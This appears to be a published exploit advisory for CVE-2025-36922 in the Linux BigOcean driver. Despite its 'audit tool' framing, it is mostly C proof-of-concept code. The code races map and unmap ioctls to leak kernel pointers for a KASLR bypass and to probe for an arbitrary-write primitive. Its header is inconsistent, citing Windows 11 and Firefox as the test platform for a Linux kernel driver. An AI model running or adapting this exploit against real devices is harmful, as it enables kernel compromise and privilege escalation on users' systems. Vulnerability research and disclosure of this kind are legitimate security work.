BigOcean Use-After-Free Audit Tool

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| # Title BigOcean Use-After-Free Audit Tool

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| # Title : BigOcean Arbitrary Write & Out-of-Bounds Vulnerabilities |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://Google.com/ |
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[+] References : https://packetstorm.news/files/id/213732/ & CVE-2025-36922

[+] Summary : This program is a static analysis and controlled runtime audit tool designed to assess the security of the Linux kernel driver exposed via /dev/bigocean.
It focuses on identifying design flaws, race conditions, and memory?safety weaknesses without performing destructive exploitation.
The tool corrects earlier implementation issues and performs architecture?aware analysis for modern Linux systems.

[+] Key Functions :

KASLR Leak Detection (Fixed & Architecture?Aware)

Attempts to identify kernel address leaks caused by race conditions between BIGO_IOCX_MAP and BIGO_IOCX_UNMAP.

Supports ARM64 and x86_64 kernel address patterns.

Uses heuristics to detect leaked kernel pointers safely.

Arbitrary Write Primitive Testing (Safe Variant)

Tests whether user?controlled fields (e.g., iova) can be partially or fully influenced.

Detects signs of memory corruption without attempting privilege escalation.

Ensures all allocated resources are properly released.

[+] Architecture Analysis :

Detects CPU architecture, pointer size, and kernel/user virtual address ranges.

Prevents incorrect assumptions about address layouts.

IOVA vs Kernel Virtual Address Explanation

Clearly distinguishes DMA IOVA space from kernel virtual memory.

Explains why leaked IOVA values do not directly equal kernel addresses.

Static Driver Risk Review

Reviews known vulnerability patterns (including CVE?2025?36922 behavior).

[+] Highlights potential issues:

Use?After?Free (UAF)

Race conditions

Integer overflows

Missing bounds checks

Improper locking

Safe IOCTL Robustness Tests

Tests how the driver handles:

NULL pointers

Invalid file descriptors

Oversized memory requests

Identifies unsafe acceptance of malformed input.

Code Quality Fixes Implemented

Fixed function name errors

Eliminated resource leaks

Ensured close() and munmap() on all paths

Improved error handling and logging

Removed unsafe architectural assumptions

[+] POC :

#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/utsname.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <linux/dma-heap.h>
#include "bigo.h"

int bypass_kaslr_fixed(void) {
printf("[+] Attempting KASLR bypass via info leak...\n");

int fd = -1, dma_fd = -1;

fd = open("/dev/bigocean", O_RDWR);
if (fd < 0) {
perror("[-] Failed to open bigocean");
return 0;
}

dma_fd = open("/dev/dma_heap/system", O_RDONLY);
if (dma_fd < 0) {
perror("[-] Failed to open dma_heap");
close(fd);
return 0;
}

unsigned long leaked_addresses[100];
int leak_count = 0;

for (int i = 0; i < 100; i++) {
struct dma_heap_allocation_data heap_data = {
.len = 0x1000,
.fd_flags = O_RDWR,
};

if (ioctl(dma_fd, DMA_HEAP_IOCTL_ALLOC, &heap_data) < 0) {
continue;
}

struct bigo_ioc_mapping mapping = {
.fd = heap_data.fd,
.size = 0x1000,
};

pid_t pid = fork();
if (pid == 0) {

for (int j = 0; j < 5; j++) {
ioctl(fd, BIGO_IOCX_UNMAP, &mapping);
}
exit(0);
} else {

ioctl(fd, BIGO_IOCX_MAP, &mapping);

struct utsname uts;
uname(&uts);

if (strstr(uts.machine, "aarch64") || strstr(uts.machine, "arm64")) {

if (mapping.iova >= 0xffffff0000000000UL) {
leaked_addresses[leak_count++] = mapping.iova;
printf("[*] Potential kernel pointer (ARM64): 0x%016lx\n", mapping.iova);
}
} else if (strstr(uts.machine, "x86_64")) {

if (mapping.iova >= 0xffffffff80000000UL) {
leaked_addresses[leak_count++] = mapping.iova;
printf("[*] Potential kernel pointer (x86_64): 0x%016lx\n", mapping.iova);
}
} else {

if (mapping.iova > 0xffff000000000000UL) {
leaked_addresses[leak_count++] = mapping.iova;
printf("[*] Potential kernel pointer (heuristic): 0x%016lx\n", mapping.iova);
}
}

ioctl(fd, BIGO_IOCX_UNMAP, &mapping);
waitpid(pid, NULL, 0);
}

close(heap_data.fd);
}

close(fd);
close(dma_fd);

if (leak_count == 0) {
printf("[-] No addresses leaked\n");
return 0;
}

printf("[+] Collected %d potential kernel addresses\n", leak_count);

unsigned long base_candidate = 0;
for (int i = 0; i < leak_count; i++) {
printf(" Leak %d: 0x%016lx\n", i, leaked_addresses[i]);

unsigned long candidate = leaked_addresses[i] & 0xffffffffff000000UL;
if (base_candidate == 0) {
base_candidate = candidate;
} else if (candidate == base_candidate) {
// Consistent base found
printf("[+] Consistent kernel base candidate: 0x%016lx\n", base_candidate);
return 1;
}
}

return 0;
}

int test_arbitrary_write_fixed(void) {
printf("[+] Testing for arbitrary write primitive...\n");

int fd = -1, dma_fd = -1;
unsigned char *buffer = MAP_FAILED;
int heap_fd = -1;

fd = open("/dev/bigocean", O_RDWR);
if (fd < 0) {
perror("[-] Failed to open bigocean");
return 0;
}

dma_fd = open("/dev/dma_heap/system", O_RDONLY);
if (dma_fd < 0) {
perror("[-] Failed to open dma_heap");
close(fd);
return 0;
}

struct dma_heap_allocation_data heap_data = {
.len = 0x1000,
.fd_flags = O_RDWR,
};

if (ioctl(dma_fd, DMA_HEAP_IOCTL_ALLOC, &heap_data) < 0) {
perror("[-] DMA heap allocation failed");
close(dma_fd);
close(fd);
return 0;
}

heap_fd = heap_data.fd;

buffer = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED, heap_fd, 0);

if (buffer == MAP_FAILED) {
perror("[-] mmap failed");
close(heap_fd);
close(dma_fd);
close(fd);
return 0;
}

memset(buffer, 0xAA, 0x1000);

struct bigo_ioc_mapping mapping = {
.fd = heap_fd,
.iova = 0x42424242,
.offset = 0,
.size = 0x1000,
.skip_cmo = 0
};

int write_detected = 0;

for (int i = 0; i < 100; i++) {

pid_t pid = fork();
if (pid == 0) {

for (int j = 0; j < 10; j++) {
ioctl(fd, BIGO_IOCX_UNMAP, &mapping);
sched_yield();
}
exit(0);
} else {

long ret = ioctl(fd, BIGO_IOCX_MAP, &mapping);

if (ret == 0) {
printf("[*] Map succeeded, iova: 0x%08x\n", mapping.iova);

if (mapping.iova != 0x42424242) {
printf("[!] iova changed from 0x42424242 to 0x%08x\n", mapping.iova);

if ((mapping.iova & 0xFFFF0000) == (0x42424242 & 0xFFFF0000)) {
printf("[+] Partial control detected (high bytes preserved)\n");
}

if (mapping.iova == 0xdeadbeef || mapping.iova == 0xcafebabe) {
printf("[!!] FULL CONTROL OVER iova VALUE!\n");
write_detected = 1;
}

if (mapping.iova > 0xffffff0000000000UL) {
printf("[!] iova looks like kernel address: 0x%08x\n", mapping.iova);
}
}
} else {
printf("[-] Map failed: %s\n", strerror(errno));
}

waitpid(pid, NULL, 0);
}
}

if (buffer != MAP_FAILED) {
munmap(buffer, 0x1000);
}
if (heap_fd != -1) {
close(heap_fd);
}
close(dma_fd);
close(fd);

return write_detected;
}

void analyze_architecture(void) {
struct utsname uts;
uname(&uts);

printf("\n[+] Architecture Analysis:\n");
printf(" System: %s\n", uts.sysname);
printf(" Node: %s\n", uts.nodename);
printf(" Release: %s\n", uts.release);
printf(" Version: %s\n", uts.version);
printf(" Machine: %s\n", uts.machine);

if (strstr(uts.machine, "64")) {
printf(" Pointer size: 64-bit\n");

if (strstr(uts.machine, "aarch64") || strstr(uts.machine, "arm64")) {
printf(" Architecture: ARM64\n");
printf(" Kernel VA range: 0xffffff8000000000 - 0xffffffffffffffff\n");
printf(" User VA range: 0x0000000000000000 - 0x0000ffffffffffff\n");
} else if (strstr(uts.machine, "x86_64")) {
printf(" Architecture: x86_64\n");
printf(" Kernel VA range: 0xffffffff80000000 - 0xffffffffffffffff\n");
printf(" User VA range: 0x0000000000000000 - 0x00007fffffffffff\n");
}
} else {
printf(" Pointer size: 32-bit\n");
printf(" Kernel VA range: 0xc0000000 - 0xffffffff\n");
printf(" User VA range: 0x00000000 - 0xbfffffff\n");
}
}

void explain_iova_vs_kernel_va(void) {
printf("\n[+] IOVA vs Kernel Virtual Address Explanation:\n");
printf(" IOVA (IO Virtual Address): Used for DMA operations\n");
printf(" Kernel VA: Used by kernel code to access memory\n");
printf(" They are DIFFERENT address spaces!\n\n");

printf(" Common misconceptions:\n");
printf(" 1. IOVA ? Kernel VA\n");
printf(" 2. IOVA is mapped through IOMMU/SMMU\n");
printf(" 3. Kernel VA is mapped through MMU\n");
printf(" 4. Leaking IOVA does NOT directly give kernel VA\n\n");

printf(" However, IOVA can sometimes reveal:\n");
printf(" 1. IOMMU page table structures\n");
printf(" 2. DMA buffer allocation patterns\n");
printf(" 3. Potential info about kernel allocator\n");
}

void perform_static_analysis(void) {
printf("\n[+] Performing Static Analysis of Driver Code Patterns\n");

printf("\n1. Reviewing known CVE-2025-36922 patterns:\n");
printf(" - UAF in add_to_mapped_list()\n");
printf(" - Race between bigo_map() and bigo_unmap()\n");
printf(" - binfo->iova accessed without proper locking\n");

printf("\n2. Potential additional issues to check:\n");
printf(" a) Missing NULL pointer checks\n");
printf(" b) Integer overflows in size calculations\n");
printf(" c) Missing bounds checking\n");
printf(" d) Double-free possibilities\n");
printf(" e) Use of uninitialized variables\n");

printf("\n3. IOCTL command analysis:\n");
printf(" Command Size Risk Level\n");
printf(" ----------------------------------------\n");
printf(" BIGO_IOCX_MAP %zu bytes HIGH (UAF confirmed)\n", sizeof(struct bigo_ioc_mapping));
printf(" BIGO_IOCX_UNMAP %zu bytes HIGH (race condition)\n", sizeof(struct bigo_ioc_mapping));
printf(" BIGO_IOCX_PROCESS %zu bytes MEDIUM (complex)\n", sizeof(struct bigo_ioc_regs));
printf(" BIGO_IOCX_MISC %zu bytes MEDIUM (multiple params)\n", sizeof(struct bigo_ioc_misc));

printf("\n4. Structure field analysis:\n");
printf(" Field Type Size Potential Issues\n");
printf(" -------------------------------------------------\n");
printf(" iova __u32 4 bytes - Integer overflow\n");
printf(" offset __u32 4 bytes - Bounds checking\n");
printf(" size __u32 4 bytes - Integer overflow\n");
printf(" fd int 4 bytes - File descriptor validation\n");
}

void safe_memory_test(void) {
printf("\n[+] Performing Safe Memory Tests\n");

int fd = -1;

fd = open("/dev/bigocean", O_RDWR);
if (fd < 0) {
perror("[-] Cannot open device");
return;
}

printf("\n[Test 1] NULL pointer test:\n");
long ret = ioctl(fd, BIGO_IOCX_MAP, NULL);
if (ret < 0) {
printf(" [+] Correctly rejected NULL pointer (errno=%d: %s)\n",
errno, strerror(errno));
} else {
printf(" [!] ACCEPTED NULL POINTER - VULNERABLE!\n");
}

printf("\n[Test 2] Invalid file descriptor test:\n");
struct bigo_ioc_mapping bad_mapping = {
.fd = -1,
.iova = 0,
.offset = 0,
.size = 0x1000,
.skip_cmo = 0
};

ret = ioctl(fd, BIGO_IOCX_MAP, &bad_mapping);
if (ret < 0) {
printf(" [+] Correctly rejected invalid fd (errno=%d: %s)\n",
errno, strerror(errno));
} else {
printf(" [!] ACCEPTED invalid fd - VULNERABLE!\n");
}

printf("\n[Test 3] Size overflow test:\n");
struct bigo_ioc_mapping overflow_mapping = {
.fd = 0,
.iova = 0,
.offset = 0,
.size = 0xFFFFFFFF,
.skip_cmo = 0
};

ret = ioctl(fd, BIGO_IOCX_MAP, &overflow_mapping);
if (ret < 0) {
printf(" [+] Correctly handled large size (errno=%d: %s)\n",
errno, strerror(errno));
} else {
printf(" [!] ACCEPTED overflow size - needs review\n");
}

close(fd);
}

int main(void) {
printf("[+] ===============================================\n");
printf("[+] BigOcean Driver Static Analysis \n");
printf("[+] By indoushka\n");
printf("[+] ===============================================\n");

signal(SIGINT, SIG_DFL);
signal(SIGTERM, SIG_DFL);

analyze_architecture();

explain_iova_vs_kernel_va();

perform_static_analysis();

safe_memory_test();

printf("\n[+] Running Fixed Functions:\n");

printf("\n1. Testing KASLR bypass (fixed):\n");
if (bypass_kaslr_fixed()) {
printf("[+] KASLR bypass test completed\n");
} else {
printf("[-] KASLR bypass not achieved\n");
}

printf("\n2. Testing arbitrary write primitive (fixed):\n");
if (test_arbitrary_write_fixed()) {
printf("[+] Write primitive may exist\n");
} else {
printf("[-] No write primitive detected\n");
}

printf("\n[+] Summary of Fixed Issues:\n");
printf(" 1. Fixed function name typo (bypass_kasrl -> bypass_kaslr_fixed)\n");
printf(" 2. Fixed resource leaks (proper close() in all paths)\n");
printf(" 3. Fixed architecture assumptions (proper VA range checks)\n");
printf(" 4. Added proper error handling\n");
printf(" 5. Added architecture detection\n");
printf(" 6. Better IOVA vs Kernel VA understanding\n");

printf("\n[+] Recommendations for Further Analysis:\n");
printf(" 1. Review driver source code for additional race conditions\n");
printf(" 2. Check for integer overflows in size calculations\n");
printf(" 3. Look for missing bounds checks\n");
printf(" 4. Analyze locking mechanisms\n");
printf(" 5. Review error handling paths\n");

printf("\n[+] Static analysis complete\n");

return 0;
}


Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
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